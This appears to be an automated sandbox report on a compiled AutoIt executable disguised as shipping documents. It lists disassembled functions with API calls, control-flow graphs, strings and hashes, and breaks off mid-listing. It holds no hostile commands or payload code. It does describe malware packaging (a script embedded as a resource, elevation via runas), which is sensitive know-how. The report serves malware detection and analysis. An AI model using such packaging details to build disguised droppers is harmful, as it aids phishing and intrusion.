                                                • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00D9DAB4,00DC1148,?,?,?,?,?,00D03AA3,?), ref: 00D71D89
                                                • ShellExecuteW.SHELL32(00000000,?,?,?,?,00D03AA3), ref: 00D71D90
                                                  • Part of subcall function 00D03E6E: GetSysColorBrush.USER32(0000000F), ref: 00D03E79
                                                  • Part of subcall function 00D03E6E: LoadCursorW.USER32(00000000,00007F00), ref: 00D03E88
                                                  • Part of subcall function 00D03E6E: LoadIconW.USER32(00000063), ref: 00D03E9E
                                                  • Part of subcall function 00D03E6E: LoadIconW.USER32(000000A4), ref: 00D03EB0
                                                  • Part of subcall function 00D03E6E: LoadIconW.USER32(000000A2), ref: 00D03EC2
                                                  • Part of subcall function 00D03E6E: RegisterClassExW.USER32(?), ref: 00D03F30
                                                  • Part of subcall function 00D036B8: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00D036E6
                                                  • Part of subcall function 00D036B8: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00D03707
                                                  • Part of subcall function 00D036B8: ShowWindow.USER32(00000000,?,?,?,?,00D03AA3,?), ref: 00D0371B
                                                  • Part of subcall function 00D036B8: ShowWindow.USER32(00000000,?,?,?,?,00D03AA3,?), ref: 00D03724
                                                  • Part of subcall function 00D04FFC: _memset.LIBCMT ref: 00D05022
                                                  • Part of subcall function 00D04FFC: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00D050CB
                                                Strings
                                                • This is a third-party compiled AutoIt script., xrefs: 00D71CC8
                                                • runas, xrefs: 00D71D84
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$IconLoad$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
                                                • String ID: This is a third-party compiled AutoIt script.$runas
                                                • API String ID: 438480954-3287110873
                                                • Opcode ID: 3b7aff0cb2ddea1ae6a4b7fe8970f746612bdf0b97239b0242381020a64aed71
                                                • Instruction ID: 15fb6ae1b191cc2d0ca66bbdeb22d6ffebcc6384782efb51149c0f051314dfa7
                                                • Opcode Fuzzy Hash: 3b7aff0cb2ddea1ae6a4b7fe8970f746612bdf0b97239b0242381020a64aed71
                                                • Instruction Fuzzy Hash: 66510735A0435AAECF11ABF4DC41FEE7B79DF06700F044268F54AA32D2DA748A458B31
                                                Function 00D1DDC0 Relevance: 10.7, APIs: 7, Instructions: 175COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1075 d1ddc0-d1de4f call d0d7f7 GetVersionExW call d06a63 call d1dfb4 call d06571 1084 d1de55-d1de56 1075->1084 1085 d724c8-d724cb 1075->1085 1086 d1de92-d1dea2 call d1df77 1084->1086 1087 d1de58-d1de63 1084->1087 1088 d724e4-d724e8 1085->1088 1089 d724cd 1085->1089 1106 d1dea4-d1dec1 GetCurrentProcess call d1df5f 1086->1106 1107 d1dec7-d1dee1 1086->1107 1092 d1de69-d1de6b 1087->1092 1093 d7244e-d72454 1087->1093 1090 d724d3-d724dc 1088->1090 1091 d724ea-d724f3 1088->1091 1095 d724d0 1089->1095 1090->1088 1091->1095 1098 d724f5-d724f8 1091->1098 1099 d1de71-d1de74 1092->1099 1100 d72469-d72475 1092->1100 1096 d72456-d72459 1093->1096 1097 d7245e-d72464 1093->1097 1095->1090 1096->1086 1097->1086 1098->1090 1104 d72495-d72498 1099->1104 1105 d1de7a-d1de89 1099->1105 1102 d72477-d7247a 1100->1102 1103 d7247f-d72485 1100->1103 1102->1086 1103->1086 1104->1086 1110 d7249e-d724b3 1104->1110 1111 d7248a-d72490 1105->1111 1112 d1de8f 1105->1112 1106->1107 1126 d1dec3 1106->1126 1108 d1df31-d1df3b GetSystemInfo 1107->1108 1109 d1dee3-d1def7 call d1e00c 1107->1109 1114 d1df0e-d1df1a 1108->1114 1123 d1df29-d1df2f GetSystemInfo 1109->1123 1124 d1def9-d1df01 call d1dff4 GetNativeSystemInfo 1109->1124 1116 d724b5-d724b8 1110->1116 1117 d724bd-d724c3 1110->1117 1111->1086 1112->1086 1120 d1df21-d1df26 1114->1120 1121 d1df1c-d1df1f FreeLibrary 1114->1121 1116->1086 1117->1086 1121->1120 1125 d1df03-d1df07 1123->1125 1124->1125 1125->1114 1129 d1df09-d1df0c FreeLibrary 1125->1129 1126->1107 1129->1114
                                                APIs
                                                • GetVersionExW.KERNEL32(?), ref: 00D1DDEC
                                                • GetCurrentProcess.KERNEL32(00000000,00D9DC38,?,?), ref: 00D1DEAC
                                                • GetNativeSystemInfo.KERNELBASE(?,00D9DC38,?,?), ref: 00D1DF01
                                                • FreeLibrary.KERNEL32(00000000,?,?), ref: 00D1DF0C
                                                • FreeLibrary.KERNEL32(00000000,?,?), ref: 00D1DF1F
                                                • GetSystemInfo.KERNEL32(?,00D9DC38,?,?), ref: 00D1DF29
                                                • GetSystemInfo.KERNEL32(?,00D9DC38,?,?), ref: 00D1DF35
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion
                                                • String ID:
                                                • API String ID: 3851250370-0
                                                • Opcode ID: 5c65f76ace73a833a555c603dade15eae91189c7c2ac79f6ac5853fcb54288a6
                                                • Instruction ID: 022357e6020846339634a466f5e27c95e370b25bb148151d67eff41eb44d6832
                                                • Opcode Fuzzy Hash: 5c65f76ace73a833a555c603dade15eae91189c7c2ac79f6ac5853fcb54288a6
                                                • Instruction Fuzzy Hash: C161A07180A3C4DBCF15CF68A8C01E97FB5AF29304B1985D9D8899F247DB24CA49CB75
                                                Function 00D0406B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1147 d0406b-d04083 CreateStreamOnHGlobal 1148 d040a3-d040a6 1147->1148 1149 d04085-d0409c FindResourceExW 1147->1149 1150 d74f16-d74f25 LoadResource 1149->1150 1151 d040a2 1149->1151 1150->1151 1152 d74f2b-d74f39 SizeofResource 1150->1152 1151->1148 1152->1151 1153 d74f3f-d74f4a LockResource 1152->1153 1153->1151 1154 d74f50-d74f6e 1153->1154 1154->1151
                                                APIs
                                                • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00D0449E,?,?,00000000,00000001), ref: 00D0407B
                                                • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00D0449E,?,?,00000000,00000001), ref: 00D04092
                                                • LoadResource.KERNEL32(?,00000000,?,?,00D0449E,?,?,00000000,00000001,?,?,?,?,?,?,00D041FB), ref: 00D74F1A
                                                • SizeofResource.KERNEL32(?,00000000,?,?,00D0449E,?,?,00000000,00000001,?,?,?,?,?,?,00D041FB), ref: 00D74F2F
                                                • LockResource.KERNEL32(00D0449E,?,?,00D0449E,?,?,00000000,00000001,?,?,?,?,?,?,00D041FB,00000000), ref: 00D74F42
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                • String ID: SCRIPT
                                                • API String ID: 3051347437-3967369404
                                                • Opcode ID: 01555b692fae7fe64533a56f11598aecd271b175ac580ef8dade8eaa7b93b608
                                                • Instruction ID: 9fd6110f50f56ef4060b73b942d5f517e90e109e5d9ee9786356936fba436101
                                                • Opcode Fuzzy Hash: 01555b692fae7fe64533a56f11598aecd271b175ac580ef8dade8eaa7b93b608
                                                • Instruction Fuzzy Hash: 771118B1200701AFE7218B65EC48F67BBBAEBC5B61F14816CF606D62E0DB61DC008A30
                                                Function 00D46CA9 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFileAttributesW.KERNELBASE(?,00D72F49), ref: 00D46CB9
                                                • FindFirstFileW.KERNELBASE(?,?), ref: 00D46CCA
                                                • FindClose.KERNEL32(00000000), ref: 00D46CDA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FileFind$AttributesCloseFirst
                                                • String ID:
                                                • API String ID: 48322524-0
                                                • Opcode ID: dec26afebf22b108859eddd58e0432eed369e864230b91ec0ecbbec748aa7a3b
                                                • Instruction ID: a8473d29cb35d89c6d21b55d860925c5472d1e2a382a984d8a9a3e24676b9eda
                                                • Opcode Fuzzy Hash: dec26afebf22b108859eddd58e0432eed369e864230b91ec0ecbbec748aa7a3b
                                                • Instruction Fuzzy Hash: B1E048318247155B82106738EC4D8E97B6DDF06339F104715F576C12D0E770D94446F6
                                                Function 00D0E8D0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 816windowsleeptimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D0E959
                                                • timeGetTime.WINMM ref: 00D0EBFA
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D0ED2E
                                                • TranslateMessage.USER32(?), ref: 00D0ED3F
                                                • DispatchMessageW.USER32(?), ref: 00D0ED4A
                                                • LockWindowUpdate.USER32(00000000), ref: 00D0ED79
                                                • DestroyWindow.USER32 ref: 00D0ED85
                                                • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D0ED9F
                                                • Sleep.KERNEL32(0000000A), ref: 00D75270
                                                • TranslateMessage.USER32(?), ref: 00D759F7
                                                • DispatchMessageW.USER32(?), ref: 00D75A05
                                                • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D75A19
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
                                                • String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
                                                • API String ID: 2641332412-570651680
                                                • Opcode ID: 1961017a8fc848e7b6a04556401d379677a2c7525987f37ee0f2765b23b2b61b
                                                • Instruction ID: c4c2a0a22c91fcb329b35c9e1d93f334402faaf190d8e49850c8a5e891455645
                                                • Opcode Fuzzy Hash: 1961017a8fc848e7b6a04556401d379677a2c7525987f37ee0f2765b23b2b61b
                                                • Instruction Fuzzy Hash: B7628E705043419FEB24DF24D885BAA77E5FF44304F18496DE98A8B2D6EBB1D848CB72
                                                Function 00D35C78 Relevance: 47.9, APIs: 26, Strings: 1, Instructions: 626fileCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • ___createFile.LIBCMT ref: 00D35EC3
                                                • ___createFile.LIBCMT ref: 00D35F04
                                                • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00D35F2D
                                                • __dosmaperr.LIBCMT ref: 00D35F34
                                                • GetFileType.KERNELBASE(00000000,?,?,?,?,?,00000000,00000109), ref: 00D35F47
                                                • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00D35F6A
                                                • __dosmaperr.LIBCMT ref: 00D35F73
                                                • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00D35F7C
                                                • __set_osfhnd.LIBCMT ref: 00D35FAC
                                                • __lseeki64_nolock.LIBCMT ref: 00D36016
                                                • __close_nolock.LIBCMT ref: 00D3603C
                                                • __chsize_nolock.LIBCMT ref: 00D3606C
                                                • __lseeki64_nolock.LIBCMT ref: 00D3607E
                                                • __lseeki64_nolock.LIBCMT ref: 00D36176
                                                • __lseeki64_nolock.LIBCMT ref: 00D3618B
                                                • __close_nolock.LIBCMT ref: 00D361EB
                                                  • Part of subcall function 00D2EA9C: CloseHandle.KERNELBASE(00000000,00DAEEF4,00000000,?,00D36041,00DAEEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00D2EAEC
                                                  • Part of subcall function 00D2EA9C: GetLastError.KERNEL32(?,00D36041,00DAEEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00D2EAF6
                                                  • Part of subcall function 00D2EA9C: __free_osfhnd.LIBCMT ref: 00D2EB03
                                                  • Part of subcall function 00D2EA9C: __dosmaperr.LIBCMT ref: 00D2EB25
                                                  • Part of subcall function 00D27C0E: __getptd_noexit.LIBCMT ref: 00D27C0E
                                                • __lseeki64_nolock.LIBCMT ref: 00D3620D
                                                • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00D36342
                                                • ___createFile.LIBCMT ref: 00D36361
                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00D3636E
                                                • __dosmaperr.LIBCMT ref: 00D36375
                                                • __free_osfhnd.LIBCMT ref: 00D36395
                                                • __invoke_watson.LIBCMT ref: 00D363C3
                                                • __wsopen_helper.LIBCMT ref: 00D363DD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
                                                • String ID: @
                                                • API String ID: 3896587723-2766056989
                                                • Opcode ID: d453a950a932e845c7b68339b0f7c8ec0cb04ea06e57229653dae736e0464222
                                                • Instruction ID: 780bad6366fe9d589c11b3fbf23b70308e8a6caf369247ed7eea5204820921e1
                                                • Opcode Fuzzy Hash: d453a950a932e845c7b68339b0f7c8ec0cb04ea06e57229653dae736e0464222
                                                • Instruction Fuzzy Hash: 1C221571900606AFEF299F68EC45BAD7B71EF10324F2C8228E561AB2D5C675CD50C771
                                                Function 00D4FA0C Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 238COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • _wcscpy.LIBCMT ref: 00D4FA96
                                                • _wcschr.LIBCMT ref: 00D4FAA4
                                                • _wcscpy.LIBCMT ref: 00D4FABB
                                                • _wcscat.LIBCMT ref: 00D4FACA
                                                • _wcscat.LIBCMT ref: 00D4FAE8
                                                • _wcscpy.LIBCMT ref: 00D4FB09
                                                • __wsplitpath.LIBCMT ref: 00D4FBE6
                                                • _wcscpy.LIBCMT ref: 00D4FC0B
                                                • _wcscpy.LIBCMT ref: 00D4FC1D
                                                • _wcscpy.LIBCMT ref: 00D4FC32
                                                • _wcscat.LIBCMT ref: 00D4FC47
                                                • _wcscat.LIBCMT ref: 00D4FC59
                                                • _wcscat.LIBCMT ref: 00D4FC6E
                                                  • Part of subcall function 00D4BFA4: _wcscmp.LIBCMT ref: 00D4C03E
                                                  • Part of subcall function 00D4BFA4: __wsplitpath.LIBCMT ref: 00D4C083
                                                  • Part of subcall function 00D4BFA4: _wcscpy.LIBCMT ref: 00D4C096
                                                  • Part of subcall function 00D4BFA4: _wcscat.LIBCMT ref: 00D4C0A9
                                                  • Part of subcall function 00D4BFA4: __wsplitpath.LIBCMT ref: 00D4C0CE
                                                  • Part of subcall function 00D4BFA4: _wcscat.LIBCMT ref: 00D4C0E4
                                                  • Part of subcall function 00D4BFA4: _wcscat.LIBCMT ref: 00D4C0F7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
                                                • String ID: >>>AUTOIT SCRIPT<<<
                                                • API String ID: 2955681530-2806939583
                                                • Opcode ID: 5a85d52c6d68821bf85814393cf2192c160dd7a95e6b154edc97d5201c741a61
                                                • Instruction ID: 57c892d0d3469656fbdb7c34823a5de2714d656d5b0c4f844c9e808f70ead1e8
                                                • Opcode Fuzzy Hash: 5a85d52c6d68821bf85814393cf2192c160dd7a95e6b154edc97d5201c741a61
                                                • Instruction Fuzzy Hash: F891A272504305AFCB10EB54D891F9AB3E9FF94314F04486DF989972A2DB31EA54CBB2
                                                Function 00D03F53 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetSysColorBrush.USER32(0000000F), ref: 00D03F86
                                                • RegisterClassExW.USER32(00000030), ref: 00D03FB0
                                                • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D03FC1
                                                • InitCommonControlsEx.COMCTL32(?), ref: 00D03FDE
                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D03FEE
                                                • LoadIconW.USER32(000000A9), ref: 00D04004
                                                • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D04013
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                • API String ID: 2914291525-1005189915
                                                • Opcode ID: 3a2d058c3784e6940cddd1af9d3c6079bb7ad17f37c3059942e6322d0473699f
                                                • Instruction ID: ed5db96d9c9081d087791eafd93fa36f48026a53144930be905972d1faaf0e93
                                                • Opcode Fuzzy Hash: 3a2d058c3784e6940cddd1af9d3c6079bb7ad17f37c3059942e6322d0473699f
                                                • Instruction Fuzzy Hash: AD21B2B995031AAFDB00AFA4EC89BCDBBB5FB09714F00421AF611E63E0D7B445448FA1
                                                Function 00D4BFA4 Relevance: 18.3, APIs: 12, Instructions: 316fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                  • Part of subcall function 00D4BDB4: __time64.LIBCMT ref: 00D4BDBE
                                                  • Part of subcall function 00D04517: _fseek.LIBCMT ref: 00D0452F
                                                • __wsplitpath.LIBCMT ref: 00D4C083
                                                  • Part of subcall function 00D21DFC: __wsplitpath_helper.LIBCMT ref: 00D21E3C
                                                • _wcscpy.LIBCMT ref: 00D4C096
                                                • _wcscat.LIBCMT ref: 00D4C0A9
                                                • __wsplitpath.LIBCMT ref: 00D4C0CE
                                                • _wcscat.LIBCMT ref: 00D4C0E4
                                                • _wcscat.LIBCMT ref: 00D4C0F7
                                                • _wcscmp.LIBCMT ref: 00D4C03E
                                                  • Part of subcall function 00D4C56D: _wcscmp.LIBCMT ref: 00D4C65D
                                                  • Part of subcall function 00D4C56D: _wcscmp.LIBCMT ref: 00D4C670
                                                • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00D4C2A1
                                                • DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00D4C338
                                                • CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00D4C34E
                                                • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00D4C35F
                                                • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00D4C371
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath$Copy__time64__wsplitpath_helper_fseek_wcscpy
                                                • String ID:
                                                • API String ID: 2378138488-0
                                                • Opcode ID: 33c0bf24cfc8a2b158855f4dd57cdc406b235fb6fa2fb69d4e1f31913f214673
                                                • Instruction ID: b23460ac1f13a2b96d659c9dfbb8e1d54ce54ac8b971398570b8b859c0c97c69
                                                • Opcode Fuzzy Hash: 33c0bf24cfc8a2b158855f4dd57cdc406b235fb6fa2fb69d4e1f31913f214673
                                                • Instruction Fuzzy Hash: 1CC128B1E11229ABDF21DF95CC85EDEBBB9EF58310F0040AAF609E6151DB709A448F71
                                                Function 00D03742 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 957 d03742-d03762 959 d037c2-d037c4 957->959 960 d03764-d03767 957->960 959->960 961 d037c6 959->961 962 d037c8 960->962 963 d03769-d03770 960->963 964 d037ab-d037b3 DefWindowProcW 961->964 965 d71e00-d71e2e call d02ff6 call d1e312 962->965 966 d037ce-d037d1 962->966 967 d03776-d0377b 963->967 968 d0382c-d03834 PostQuitMessage 963->968 970 d037b9-d037bf 964->970 1000 d71e33-d71e3a 965->1000 971 d037d3-d037d4 966->971 972 d037f6-d0381d SetTimer RegisterWindowMessageW 966->972 974 d03781-d03783 967->974 975 d71e88-d71e9c call d44ddd 967->975 969 d037f2-d037f4 968->969 969->970 976 d71da3-d71da6 971->976 977 d037da-d037ed KillTimer call d03847 call d0390f 971->977 972->969 979 d0381f-d0382a CreatePopupMenu 972->979 980 d03836-d03845 call d1eb83 974->980 981 d03789-d0378e 974->981 975->969 993 d71ea2 975->993 985 d71ddc-d71dfb MoveWindow 976->985 986 d71da8-d71daa 976->986 977->969 979->969 980->969 989 d03794-d03799 981->989 990 d71e6d-d71e74 981->990 985->969 995 d71dac-d71daf 986->995 996 d71dcb-d71dd7 SetFocus 986->996 991 d71e58-d71e68 call d455bd 989->991 992 d0379f-d037a5 989->992 990->964 998 d71e7a-d71e83 call d3a5f3 990->998 991->969 992->964 992->1000 993->964 995->992 1001 d71db5-d71dc6 call d02ff6 995->1001 996->969 998->964 1000->964 1005 d71e40-d71e53 call d03847 call d04ffc 1000->1005 1001->969 1005->964
                                                APIs
                                                • DefWindowProcW.USER32(?,?,?,?), ref: 00D037B3
                                                • KillTimer.USER32(?,00000001), ref: 00D037DD
                                                • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00D03800
                                                • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D0380B
                                                • CreatePopupMenu.USER32 ref: 00D0381F
                                                • PostQuitMessage.USER32(00000000), ref: 00D0382E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
